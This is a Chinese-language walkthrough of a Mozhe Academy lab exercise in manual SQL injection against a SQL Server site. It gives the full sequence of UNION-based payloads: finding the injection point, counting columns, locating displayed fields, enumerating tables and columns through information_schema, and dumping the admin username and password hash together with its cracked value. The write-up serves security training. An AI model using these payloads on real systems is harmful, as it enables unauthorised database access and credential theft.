案例演示
墨者学院SQL手工注入漏洞测试(Sql Server数据库)
1.判断是否存在注入点
?id=2 and 1=2
输入and 1=1 页面正常
输入and 1=2 报错 确定存在注入点
2.判断字段数
?id=2 order by 4
?id=2 union all select null,null,null,null
1.使用order by 进行判断
使用order by 进行判断
从 1测试到2页面都是正常的,到3这里报错。
但是在这里就是使用oder by 4的时候页面又正常回显 在order by 5的时候页面又报错 这种是靶场的小bug。如果不确定的话,可以再次使用union 进行确定字段的次数
2.使用union 进行判断
union all select null,null,null,null
由于这里不能直接使用union select ,所以我们在是union注入的时候要咋后面加个all
但是如果是union all select 1,2,3,4 像这种格式又是不能进行使用的,因为select后面的
内容都是数字比如1,2,3,4 数据库通常各列是数字字符混合的,数字类型不匹配也会导致报错。所以我们就可以使用null进行替代
当我们查询一个字段数的语句:
原来的语句 union all select 1,2,3,4
替代的语句 union all select null,null,null,null
几个字段就写几个null,用null代替数字
这里的union all select null
相当于union all select 1
这里的 union all select 1,2
相当于 union all select null,null
一直从1-3依旧输入都是以上页返回的错误
这里的 union all select 1,2,3,4
相当于 union all select null,null,null,null
当我们输入到第四个字段的时候,页面回显的之前的界面不一样。确定一共4个字段
3.确定回显位
?id=-2 union all select null,null,null,null
?id=-2 union all select 'a',null,null,null
?id=-2 union all select null,'b',null,null
?id=-2 union all select null,'b','c',null
?id=-2 union all select null,'b','c','d'
确定回显字段, 这里依旧也是不能使用数字的
使用'单引号加字符去判断,一个字段一个字段的进行测试
测试第一个字段回显位
报错
确定第三个字段回显位
这里第二个null的位置,页面显示b。确定显示字段在'b'的位置,也就是在第二个字段
存在注入点
确定第三个字段回显位
查询第三个字段,判断’c’,也就是3的位置有回显位
确定第四个字段回显位
最后一个’d’。没有 回显位,确定页面显示字段位b,c,也就是2,3
4.获取数据库名
?id=-2 union all select null,db_name(),'c','d'
确定数据名为mozhe_db_v2
5.获取数据表名
?id=-2 union all select null,(select quotename(table_name)from information_Schema.tables for xml path),'c','d'
quotename():作用是把每行查询结果用[]默认包裹起来
for xml path:作用把多行查询结果,变成一行显示
确定数据表名为
manage和announment
6.获取字段
?id=-2 union all select null,(select quotename(column_name)from information_schema.columns where table_name='manage' for xml path),'c','d'
quotename():作用是把每行查询结果用[]默认包裹起来
for xml path:作用把多行查询结果,变成一行显示
字段为
Id username ,password
7.拖库
?id=-2 union all select null,(select username from manage),(select password from manage),'d'
usernmae= admin_mz
password=72e1bfc3f01b7583
解密密码为
97285101
成功拿到 key